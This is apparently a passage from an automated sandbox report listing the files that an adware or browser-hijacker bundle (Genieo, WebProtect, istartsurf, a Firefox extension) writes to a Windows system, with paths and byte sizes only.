C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp (34243 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\a4ef7ad5ee844541a73265af1d50735c[1].htm (39849 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\87KFCWL6.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3W1LRWM9.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.4 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.5 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.6 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.7 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.0 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.1 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.2 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.3 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[4].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\P5VHHAU8.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GN3DC1VY.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-swiftrecord[1].htm (4337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)

The process biclient.exe:3272 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GU0Q02AD.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\M57STUK8.txt (775 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2IOHYICJ.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\591e247a260e754da0a14c821f058054[1].htm (36030 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe (9472 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3DS9K8NQ.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\J31DR7ZT.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5VLW9NKP.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PTC5CC9Q.txt (775 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EDQYQA87.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9QUJIG80.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ZXR97TYA.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\F6JVKDT1.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.4 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.5 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.6 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.7 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.0 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.1 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.2 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe.3 (392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe (38906 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GUB14QYX.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp (34243 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\28HJE5HC.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[2].htm (1610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V1EDUDVM.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HYIM1RV4.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[2].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[3].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[4].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\YGTXSA5V.txt (775 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SC174T15.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[2].gif (35 bytes)

The process WebProtectPD.exe:2604 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[3].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj62E8.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso63A4.tmp (9483 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj62E8.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[3].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[2].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\WebProtectPI[1].13 (8048 bytes)

The process WebProtectPD.exe:5044 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj5ED3.tmp (9483 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\WebProtectPI[1].13 (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[6].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[5].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[4].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5D8B.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5D8B.tmp\inetc.dll (46 bytes)

The process WebProtectPD.exe:1056 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\WebProtectPI[1].13 (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiDF57.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[4].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE0A0.tmp (9483 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiDF57.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[1].gif (34 bytes)

The process ins_yta.exe:2200 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB9730.tmp (144 bytes)

The process QQBrowser.exe:212 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe (676 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\474.db (288 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe (86 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe (286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe (148 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe (114 bytes)

The process QQBrowser.exe:3520 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\3303.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\32E2.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\32E3.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\3333.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\QQBrowserFrame.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
